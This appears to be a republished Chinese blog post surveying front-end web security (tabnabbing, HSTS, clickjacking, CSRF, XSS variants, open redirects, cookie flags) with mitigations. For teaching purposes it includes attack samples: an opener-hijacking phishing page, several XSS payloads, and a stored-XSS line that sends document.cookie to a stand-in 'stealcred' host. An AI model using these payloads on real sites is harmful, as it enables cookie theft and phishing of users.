16 个前端安全知识

16 个前端安全知识

去年 security course 上的是 React,然后学了一些 一些 React 项目中可能存在的安全隐患,今年看了一下列表,正好看到了前端也有更新,所以就把这个补上了。

一个非常好学习各种安全隐患的机构是 https://owasp.org/

其实很多情况下用户不妨问可疑网站就可以解决……但是吧,educate user 永远是一件非常困难的事情,多做做防护也是必要的。

reverse tabnabbing

这是一个对于很多用户来说非常容易踩雷的一个坑,展示效果如下:

在这里插入图片描述

其工作原理是通过 forward window.opener 这个对象实现的,其实这个漏洞真的挺容易被漏看的,因为 opener 以前是会随着 Target=”_blank” 一起被 forward 到新的网页,如果新的网页稍微有那么点心思不纯,就可以写一个克隆网页,然后比较轻松的盗取用户信息。

触发代码如下:

  • 受到攻击的网页,假设有人留了个 post 之类的:

    <html><body><li><a href="bad.example.com" target="_blank">Vulnerable target using html link to open the new page</a></li><button onclick="window.open('https://bad.example.com')">Vulnerable target using javascript to open the new page</button></body>
    </html>
    
  • 可疑地网页

    <html><body><script>if (window.opener) {window.opener.location = 'https://phish.example.com';}</script></body>
    </html>
    

根据 MDN 上说,目前使用 target="_blank" 的话,opener 是直接设置成 null 了,除此之外,两个可以将 window.opener 设置成 null 的方式有:

  1. 设置 rel=noopener
  2. Cross-Origin-Opener-Policy 设置为 same-origin

HTTP Strict-Transport-Security (HSTS)

这是解决一种 Man-in-the-Middle attack 的解决方式,这种攻击方式的图示是这样的:

在这里插入图片描述

有些网站可能会有 HTTP first 的实现,加入网址为 https://www.example.com,它会允许用户访问 http://www.example.com,并且重定向到 https 加密的网站。对于用户来说,大多数情况下 TA 不会输入完整的网址,而是会直接输入 www.example.com,这时,访问就会被定向到 HTTP 版本,再重定向到 HTTPS 的版本。

换言之,如果有黑客注册了 http://www.example.com 这一域名,那么用户的信息就会先访问到 HTTP 版本的网站,黑客没有用户信息,但是可以将用户重新定向到登录网址,获取用户信息。

如使用 301:

HTTP/1.1 301 Moved Permanently
Date: ____________________
Content-Length: 0
Connection: close
Location: http://www.example.com/login.html

这时候用户被被重定向到 http://www.example.com/login.html 进行下一步操作,用户一旦提供了登录信息,那么黑客也就获得了对应的登录信息,这时候黑客会将用户重新定向到 HTTPS 的网站。

降低风险的一种方法就是使用 HTTP Strict-Transport-Security (HSTS),也就是增加一条 header,大致如下:

Strict-Transport-Security: max-age=31536000; includeSubdomains; preload

preload 是针对从未访问过该网页,没有获取对应 header 的用户,更多信息可以在 reference 中看到。

No Server-Side Validation

这个还是比较好理解的,如果没有服务端验证,网站一旦收到了 XSS 攻击,那么就可以直接向服务器发送有问题的数据,又或者不通过浏览器发送有问题的信息到服务器去。

Click Jacking

图示如下:

在这里插入图片描述

这里点击 action 的一个原因在于镶嵌了 iframe,通过修改 opacity 就可以看到逐渐显示的 iframe:

在这里插入图片描述

这也是另外一个用户很容易上当的事情,因为看不到,看到按钮(特别是关闭广告的那种)又都会点击……

这里预防的方法有两种,一个是使用 X-Frame-Options 去告知浏览器不要在嵌套 tag(如 iframe、frame、embed、object)中渲染页面,第二个是使用 Content Security Policy (CSP) 防止当前页面渲染嵌套 tag。

对于 legacy support,可以使用 下面的代码:

<style>html {display: none;}
</style>
<!-- hides the document and prevents clicks -->
<script>if (top !== self) {top.location = self.location;} // Attempt to escape frameelse {document.documentElement.style.display = 'block';} // If not in frame, make html visible
</script>

Cross Site Request Forgery(CSRF)

CSRF 也是一个比较常见的攻击,常见的一个方式是,用户打开了一个新的网站,这个网站可以获取浏览器中的 session id,然后将修改信息送到服务器,如果服务器不做任何的验证,或者是单纯的相信了这个 session id,那么服务器就会执行相应的操作。

解决方式一般用:

  1. synchronizer token/anti-CSRF/CSRF token,一个加密并且半随机的 token

    每次用户加载该页面,或是打开了一个新的 session,就可以生成一个新的 token,随后可以通过 HTML、json、http header 等方式传输给后端。当用户发送一个请求时,后端就可以验证对应的 token 是否和当前存储的一样,从而进行验证

  2. double submit cookies

    这是存在 session 中的 CSRF token 可以被还原的情况下使用,在这个情况下,token 会被加在 cookies 和 request body 中,如果两个 token 不 match,那么该请求就会被拒绝

  3. 将 token 存在 header 中

    这个是依赖于 same origin policy 实现的,这样第三方无法使用该 token 完成请求

过期的依赖

说起来我们项目最近就在用 sonatype 查 dependencies,然后 release team 会看 sonatype 的报告,发现有 outdated packages 的危险性比较高的话就没办法 release。

除此之外,也要申明接受和传输的数据类型,如:

$.get({url: 'https://www.example.com',dataType: 'application/json',
});$.post({url: 'https://www.example.com',data: 'test',dataType: 'application/json',
});

DOM Based XSS

这里遭受的攻击是使用 URL Fragment,也就是不会传到 server 的那部分代码,比如说 query parameter,如:用户被钓鱼网站骗了,然后点击了 https://www.example.com/#filter=Products 这个网址

其中 filter=Products 这一段会被 URLParams,然后作为 parameter 对后端发送请求。换言之,如果代码没有处理过的话,这段代码 localhost:5500/#filter=<img src="bogus.url" onError="alert('hacked')"> 的执行结果为:

在这里插入图片描述

HTML 部分代码为:

<script>const frag = window.location.hash.substr(1);const filterval = frag.split('filter=')[1].split('&')[0];filterval = decodeURI(filterval);document.querySelector('.filter').innerHTML ='<h2>Filtering by: "' + filterval + '"</h2>';
</script>

两个解决方案为:

  1. 不要使用 innerHTML,而是使用 textContent
  2. 清理用户输入信息

修改后的结果为:

在这里插入图片描述

修改后的代码:

const HtmlEncode = (s) => {const HTMLCharMap = {'&': '&amp;',"'": '&#39;','"': '&quot;','<': '&lt;','>': '&gt;','\\': '&#x5c;','`': '&#x60;',':': '&#58;',};const encodeHTMLmapper = (ch) => {return HTMLCharMap[ch];};return s.replace(/[&"'<>\\`:]/g, encodeHTMLmapper);
};const frag = window.location.hash.substr(1);
const filterval = frag.split('filter=')[1].split('&')[0];
filterval = decodeURI(filterval);
document.querySelector('.filter').textContent ='<h2>Filtering by: "' + HtmlEncode(filterval) + '"</h2>';

DOM Based in AJAX

这一段其实和上面有点像,不过上面用的是 HTML fragment,这里可能用户在 input 或者 textarea 输入了一些信息,随着 AJAX 异步发送,前端没有清洗用户数据,后端也没有清晰数据,随后造成了恶意代码在网页中被加载

DOM XSS in eval()

同上,eval 也是单独的作用域,可以用来执行 JS,除了清理用户数据之外,也避免使用 eval,而是换成 JSON.parse(json)

secure cookie flag

简单的说,就是 cookie 中没有 secure 这个 flag,这个是要结合 man-in-the-middle attack 一起去看的,MDN 中的解释为:

Indicates that the cookie is sent to the server only when a request is made with the https: scheme (except on localhost), and therefore, is more resistant to man-in-the-middle attacks.

换言之,当 secure 这个 flag 出现的时候,浏览器在和 HTTP 网站交流时不会带上 cookie,这样可以防止第三方在第一次访问 HTTP first 的网站时携带 cookie。

HttpOnly Cookie Flag

如果设置了 HttpOnly,那么就无法在 JavaScript 中获取浏览器中的 cookie,这也是一个比较常见的 XSS 攻击,出于同样的考量,现在 JS 是无法设置 HttpOnly 这个 flag 的

DOM Open Redirect

这里指的是使用 JavaScript 从 fragment 那里获取 URL 进行重定向,如:https://www.example.com/signon?cust=returning#url=https://www.eaxmple.com/redirect, 这里就会使用 # 去获取重定向的 URL,再使用 JS 中的 window.location = url 的方式进行重定向。

需要注意的是,原本的 domain 是 example,重定向中的 URL 的 domain 是 eaxmple,即

example

eaxmple

也就是说稍有不注意,用户就有可能被重定向到假的页面。

解决方式有:

  • 有可能的话尽量不要让用户提供重定向的网页
  • 如果需要重定向的话,不要重定向整个 URL,可以获取 sub-directory,如只获取 signon
  • 添加白名单,并对比用户提供的数据与白名单上的列表

Reflected XSS

与 fragment 相比,这里用的是 query parameter,如 https://example.com?search=%3Cscript%3Ealert('This application is vulnerable!')%3C%2Fscript%3E,用户有可能通过点击这样的网址,从而被获取到 cookie 等关键信息。

处理的方式,大多数上面也提过了:

  • 清理用户提供的数据
  • 尽量不要渲染用户提供的数据到关键的代码
  • 使用其他 config 进行保护,如 HttpOnly,Content Security Policy HTTP Header,X-XSS-Protection HTTP Header

Stored (Persistent) XSS

简单的案例有,提供这样的代码 Steal Cred <script>document.write("<img src='https://www.stealcred.com/catch?cookie="+document.cookie+" '/>");</script>. 到一些用户输入框中,如果代码钱后端都没有被清理过的话,那么一旦这个代码被保存/持久化,任何看到这条这个评论/留言的用户的用户信息就会被窃取

处理的方式还是:

  • 清理用户提供的数据
  • 了解用户信息会被渲染的地方,尽量不要注入到有可能会调动 JS 的地方
  • 使用其他 config 进行保护,如 HttpOnly,Content Security Policy HTTP Header,X-XSS-Protection HTTP Header

Common XSS Use Cases

  • 没有清洗用户输入的数据,其中可能包括 ', ", </script><script>alert('We triggered the XSS!');/* 等 ```和${}

  • 使用 ${userInput.a} 获取用户提供的键值对,另一种方式是使用 json.parse()

  • 代码中使用 eval() 去转换 JSON 代码,同样也可以使用 json.parse()

  • 没有清理便直接讲用户数据放入 eval, setTimeout(), setInterval(), Function() 的构造函数, CSS, div, a 等 HTML 标签中

  • noscript 其实也有风险,比如说:

    <noscript> Please turn on Javascript! </noscript> alert('hacked') </noscript> element cannot be displayed without Javascript! </noscript>

    这种情况下也会触发 XSS 攻击

SameSite cookie attributes

SameSite cookie attributes 有三个值:

  • strict

    只支持来自同一个域名的访问请求

  • lax

    这时候网站支持两种请求:

    • POST/GET/PATCH/DELETE 这种安全的 HTTP methods

    • top-level navigation

      根据一个 stack overflow 的答案,简单来说就是:

      Basically, TOP LEVEL navigation changes the URL in your address bar. Resources that are loaded by iframe, img tags, and script tags do not change the URL in the address bar so none of them cause TOP LEVEL navigation.

  • none

    这个情况下 SameSite 的属性跟没有设置一样,这代表着开发团队刻意满足 cross site 请求,因此需要设置 secure

有一个解决来自外部访问的方法是,READ permission 可以设置为 lax,其他的操作 permission 设置为 strict,这样来自外部(第三方)的用户可以浏览网页,但是没有办法操作

Reference

  • Preloading Strict Transport Security

  • https://hstspreload.org/.

  • X-Frame-Options

  • Content-Security-Policy

  • Set-Cookie

  • How do I set the HttpOnly flag of a cookie with javascript?

  • What is top-level navigation in browser terminology and in what ways it can be triggered?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/66187.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习基础16-建立预测模型项目模板

机器学习是一项经验技能&#xff0c;经验越多越好。在项目建立的过程中&#xff0c;实 践是掌握机器学习的最佳手段。在实践过程中&#xff0c;通过实际操作加深对分类和回归问题的每一个步骤的理解&#xff0c;达到学习机器学习的目的 预测模型项目模板 不能只通过阅读来掌握…

机器学习的第一节基本概念的相关学习

目录 1.1 决策树的概念 1.2 KNN的概念 1.2.1KNN的基本原理 1.2.2 流程&#xff1a; 1.2.3 优缺点 1.3 深度学习 1.4 梯度下降 损失函数 1.5 特征与特征选择 特征选择的目的 1.6 python中dot函数总结 一维数组的点积&#xff1a; 二维数组&#xff08;矩阵&#xff09;的乘法&am…

深入了解Kubernetes(k8s):安装、使用和Java部署指南(持续更新中)

目录 Docker 和 k8s 简介1、kubernetes 组件及其联系1.1 Node1.2 Pod1.3 Service 2、安装docker3、单节点 kubernetes 和 KubeSphere 安装3.1 安装KubeKey3.2 安装 kubernetes 和 KubeSphere3.3 验证安装结果 4、集群版 kubernetes 和 KubeSphere 安装5、kubectl 常用命令6、资…

浅谈下cdn以及防盗链问题

目录 一、什么是cdn 二、使用cdn带来的好处 三、CDN工作原理 四、cdn使用场景 五、流媒体CDN之防盗链问题 一、什么是cdn CDN&#xff08;Content Delivery Network&#xff09;是一种分布式网络架构&#xff0c;用于提供高效的内容分发服务。CDN通过将内容缓存在离用户最…

Postgresql JSON对象和数组查询

文章目录 一. Postgresql 9.5以下版本1.1 简单查询(缺陷&#xff1a;数组必须指定下标&#xff0c;不推荐)1.1.1 模糊查询1.1.2 等值匹配1.1.3 时间搜索1.1.4 在列表1.1.5 包含 1.2 多层级JSONArray&#xff08;推荐&#xff09;1.2.1 模糊查询1.2.2 模糊查询 NOT1.2.3 等值匹配…

恢复数据的利器:易我数据恢复终身技术版v16.2.0.0

EaseUS Data Recovery Wizard为全球提供数据恢复方案,用于误删数据数据,电脑误删文件恢复,格式化硬盘数据恢复,手机U盘数据恢复等,RAID磁盘阵列数据恢复,分区丢失及其它未知原因丢失的数据恢复,简单易用轻松的搞定数据恢复。 特点描述 - 易我数据恢复中文便携版&#xff0c;无…

STM32f103入门(10)ADC模数转换器

ADC模数转换器 ADC简介AD单通道初始化代码编写第一步开启时钟第二步 RCCCLK分频 6分频 72M/612M第三步 配置GPIO 配置为AIN状态第四步&#xff0c;选择规则组的输入通道第五步 用结构体 初始化ADC第六步 对ADC进行校准编写获取电压函数初始化代码如下 Main函数编写 ADC简介 ADC…

植物根系基因组与数据分析

1.背景 这段内容主要是关于植物对干旱胁迫的反应&#xff0c;并介绍了生活在植物体内外以及根际的真菌和细菌的作用。然而&#xff0c;目前对这些真菌和细菌的稳定性了解甚少。作者通过调查微生物群落组成和微生物相关性的方法&#xff0c;对农业系统中真菌和细菌对干旱的抗性…

windows主机和Ubuntu虚拟机共享设置

参考文章 Ubuntu Linux 与主机共享文件夹 vim 修改文件出现错误 “ E45: ‘readonly’ option is set (add to override)“ vim退出时报错“E212: Cant open file for writing”的解决办法 VMware 安装后&#xff0c;安装Ubuntu 20.04一路顺利。 1&#xff0c;在VMware设置…

Qt应用开发(基础篇)——输入对话框 QInputDialog

一、前言 QInputDialog类继承于QDialog&#xff0c;是一个简单方便的对话框&#xff0c;用于从用户获取单个值。 对话框窗口 QDialog QInputDialog输入对话框带有一个文本标签、一个输入框和标准按钮。输入内容可以字符、数字和选项&#xff0c;文本标签用来告诉用户应该要输入…

LAMP介绍与配置

一.LAMP 1.1.LAMP架构的组成 CGI&#xff08;通用网关接口&#xff09;和FastCGI&#xff08;快速公共网关接口&#xff09;都是用于将Web服务器与后端应用程序&#xff08;如PHP、Python等&#xff09;进行交互的协议/接口。 特点 CGI FastCGI 运行方式 每个请求启动…

死信队列理解与使用

一、简介 在rabbitMQ中常用的交换机有三种&#xff0c;直连交换机、广播交换机、主题交换机&#xff1b; 直连交换机中队列与交换机需要约定好routingKey去进行绑定&#xff1b; 广播交换机并不需要routingKey绑定,只需队列与交换机绑定即可&#xff1b; 主题交换机最大的特…

​7.1 项目1 学生通讯录管理:文本文件增删改查(C++版本)(自顶向下设计+断点调试) (A)​

C自学精简教程 目录(必读) 作业目标&#xff1a; 这个作业中&#xff0c;你需要综合运用之前文章中的知识&#xff0c;来解决一个相对完整的应用程序。 作业描述&#xff1a; 1 在这个作业中你需要在文本文件中存储学生通讯录的信息&#xff0c;并在程序启动的时候加载这些…

python+requests实现接口自动化测试

这两天一直在找直接用python做接口自动化的方法&#xff0c;在网上也搜了一些博客参考&#xff0c;今天自己动手试了一下。 一、整体结构 上图是项目的目录结构&#xff0c;下面主要介绍下每个目录的作用。 Common:公共方法:主要放置公共的操作的类&#xff0c;比如数据库sql…

简单了解网络传输介质

目录 一、同轴电缆 二、双绞线 三、光纤 四、串口电缆 一、同轴电缆 10BASE前面的数字表示传输带宽为10M&#xff0c;由于带宽较低、现在已不再使用。 50Ω同轴电缆主要用来传送基带数字信号&#xff0c;因此也被称作为基带同轴电缆&#xff0c;在局域网中得到了广泛的应用…

Prompt GPT推荐社区

大家好&#xff0c;我是荷逸&#xff0c;这次给大家带来的是我日常学习Prompt社区推荐 Snack Prompt 访问地址&#xff1a;http://snackprompt.com Snack Prompt是一个采用的Prompts诱导填空式的社区&#xff0c;它提供了一种简单的prompt修改方式&#xff0c;你只需要输入关…

一款windows的终端神奇,类似mac的iTem2

终于找到了一款windows的终端神奇。类似mac的iTem2 来&#xff0c;上神器 cmder cmder是一款windows的命令行工具&#xff0c;就是我们的linux的终端&#xff0c;用起来和linux的命令一样。所以我们今天要做的是安装并配置cmder ![在这里插入图片描述](https://img-blog.csdni…

Python所有方向的学习路线图!!

学习路线图上面写的是某个方向建议学习和掌握的知识点汇总&#xff0c;举个例子&#xff0c;如果你要学习爬虫&#xff0c;那么你就去学Python爬虫学习路线图上面的知识点&#xff0c;这样学下来之后&#xff0c;你的知识体系是比较全面的&#xff0c;比起在网上找到什么就学什…

MATLAB中circshift函数转化为C语言

背景 有项目算法使用matlab中circshift函数进行运算&#xff0c;这里需要将转化为C语言&#xff0c;从而模拟算法运行&#xff0c;将算法移植到qt。 MATLAB中circshift简单介绍 circshift是循环移位函数。可以使用于数组和矩阵元素的循环移位。 当A是数组 Bcircshift(A,p);如果…

Axes3D绘制3d图不出图解决办法【Python】

运行下面一段代码​&#xff1a; import numpy as npimport matplotlib.pyplot as pltfrom mpl_toolkits.mplot3d import Axes3D#这里设函数为y3x2x_data [1.0,2.0,3.0]y_data [5.0,8.0,11.0]​def forward(x): return x * w b​def loss(x,y): y_pred forward(x) …